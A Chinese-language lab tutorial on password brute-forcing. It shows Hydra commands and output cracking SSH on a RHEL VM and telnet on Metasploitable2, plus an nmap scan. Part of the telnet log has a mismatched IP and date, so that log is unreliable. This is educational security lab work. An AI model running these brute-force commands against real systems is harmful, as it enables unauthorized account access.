Linux技术：身份认证攻击

实验准备

软件：VMware Workstation Pro
虚拟机：kali linux 2022，Metasploitable2-Linux，Red Hat Enterprise Linux 7 服务器
网络模式：NAT模式
需要在红帽上部署sshd服务，vsftpd服务

部署实验环境

之前挂载过yum的就不需要再挂载了

[root@localhost 桌面]# mkdir /mnt/cdrom
[root@localhost 桌面]# mount /dev/sr0 /mnt/cdrom/
mount: /dev/sr0 写保护，将以只读方式挂载
[root@localhost 桌面]# vim /etc/yum.repos.d/a.repo
[root@localhost 桌面]# cat /etc/yum.repos.d/a.repo 
[a]
name=a
baseurl=file:///mnt/cdrom
enable=1
gpgcheck=0

重启vsftpd服务

[root@localhost 桌面]# systemctl start vsftpd

[root@localhost 桌面]# firewall-config

环境部署完成。

身份认证攻击

九头蛇hydra

kali linux 2022
hydra是著名组织thc的一款开源的暴力破解密码工具，功能非常强大,kali下是默认安装的，几乎支持所有协议的在线破解。

┌──(root㉿hnsw)-[~/桌面]
└─# hydra -h
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don't wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -r        use a non-random shuffling method for option -x
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
  -O        use old SSL v2 and v3
  -K        do not redo failed attempts (good for -M mass scanning)
  -q        do not print messages about connection errors
  -U        service module usage details
  -m OPT    options specific for a module, see -U output for information
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at;
https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)
These services were not compiled in: afp ncp oracle sapr3 smb2.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
     % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
     % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
     % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

使用方法
语法：Hydra 参数 IP 服务
参数：
-l login 小写，指定用户名进行破解
-L file 大写，指定用户的用户名字典
-p pass 小写，用于指定密码破解，很少使用，一般采用密码字典。
-P file 大写，用于指定密码字典。
-e ns 额外的选项，n：空密码试探，s：使用指定账户和密码试探
-M file 指定目标ip列表文件，批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数，默认是16
-w time 设置最大超时时间，单位
-v / -V 显示详细过程
-R 恢复爆破（如果破解中断了，下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。）
-x 自定义密码。

测试前我们需要创建两个字典文件

┌──(root㉿hnsw)-[~/桌面]
└─# cd /opt
                                                                                           
┌──(root㉿hnsw)-[/opt]
└─# vim username.txt
                                                                                           
┌──(root㉿hnsw)-[/opt]
└─# vim pws.txt     
                                                                                           
┌──(root㉿hnsw)-[/opt]
└─# cat username.txt
aaa
bbb
msfadmin
user
student
abc                                                                        

┌──(root㉿hnsw)-[/opt]
└─# cat pws.txt                     
abcde
fdf 
dfkdfk
redhat
dkdkk
msfadmin

使用命令开始爆破：

┌──(root㉿hnsw)-[/opt]
└─# hydra 192.168.159.132 ssh -L username.txt -P pws.txt -t 2 -v -e ns
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-30 14:56:15
[DATA] max 2 tasks per 1 server, overall 2 tasks, 48 login tries (l:6/p:8), ~24 tries per task
[DATA] attacking ssh://192.168.159.132:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://aaa@192.168.159.132:22
[INFO] Successful, password authentication is supported by ssh://192.168.159.132:22
[STATUS] 17.00 tries/min, 17 tries in 00:01h, 31 to do in 00:02h, 2 active
[STATUS] 16.50 tries/min, 33 tries in 00:02h, 15 to do in 00:01h, 2 active
[22][ssh] host: 192.168.159.132   login: student   password: redhat
[STATUS] attack finished for 192.168.159.132 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-30 14:59:14

[22][ssh] host: 192.168.159.132   login: student   password: redhat

可以看到爆破出来了用户student及密码redhat,
该命令即对目标IP为192.168.159.132的主机SSH协议指定用户的用户名字典为username.txt，指定密码字典为psw.txt， 同时运行的线程数为2并显示详细过程，额外进行空密码试探，及使用指定账户和密码试探。

开启靶机Metasploitable2-Linux

主机发现

存活主机操作系统识别，确认靶机IP为192.168.159.133(因为这个是突然多出来的)

┌──(root㉿hnsw)-[/opt]
└─# nmap -O 192.168.159.131-133
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-30 15:08 CST
Nmap scan report for 192.168.159.131
Host is up (0.000021s latency).
All 1000 scanned ports on 192.168.159.131 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops

Nmap scan report for 192.168.159.132
Host is up (0.00019s latency).
Not shown: 988 filtered tcp ports (no-response), 10 filtered tcp ports (host-prohibited)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 00:0C:29:A8:6C:1D (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13, Linux 3.10, Linux 3.4 - 3.10
Network Distance: 1 hop

Nmap scan report for 192.168.159.133
Host is up (0.00080s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:F0:CD:B7 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 28.18 seconds

对靶机上的FTP服务及telnet服务进行爆破

ftp服务爆破出用户名msfadmin,user及密码msfadmin,user
使用爆破出的用户名及密码验证登录成功

┌──(root㉿hnsw)-[/opt]
└─# hydra 192.168.159.133 telnet -L username.txt -P pws.txt -t 2 -v -e ns
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-23 11:12:20
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 2 tasks per 1 server, overall 2 tasks, 48 login tries (l:6/p:8), ~24 tries per task
[DATA] attacking telnet://192.168.13.130:23/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[23][telnet] host: 192.168.13.130   login: msfadmin   password: msfadmin
[23][telnet] host: 192.168.13.130   login: user   password: user
[STATUS] 38.00 tries/min, 40 tries in 00:01h, 8 to do in 00:01h, 2 active
[STATUS] attack finished for 192.168.159.133 (waiting for children to complete tests)
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-30 15:33:37

[23][telnet] host: 192.168.13.130   login: msfadmin   password: msfadmin
[23][telnet] host: 192.168.13.130   login: user   password: user

telnet 服务爆破结果也一致。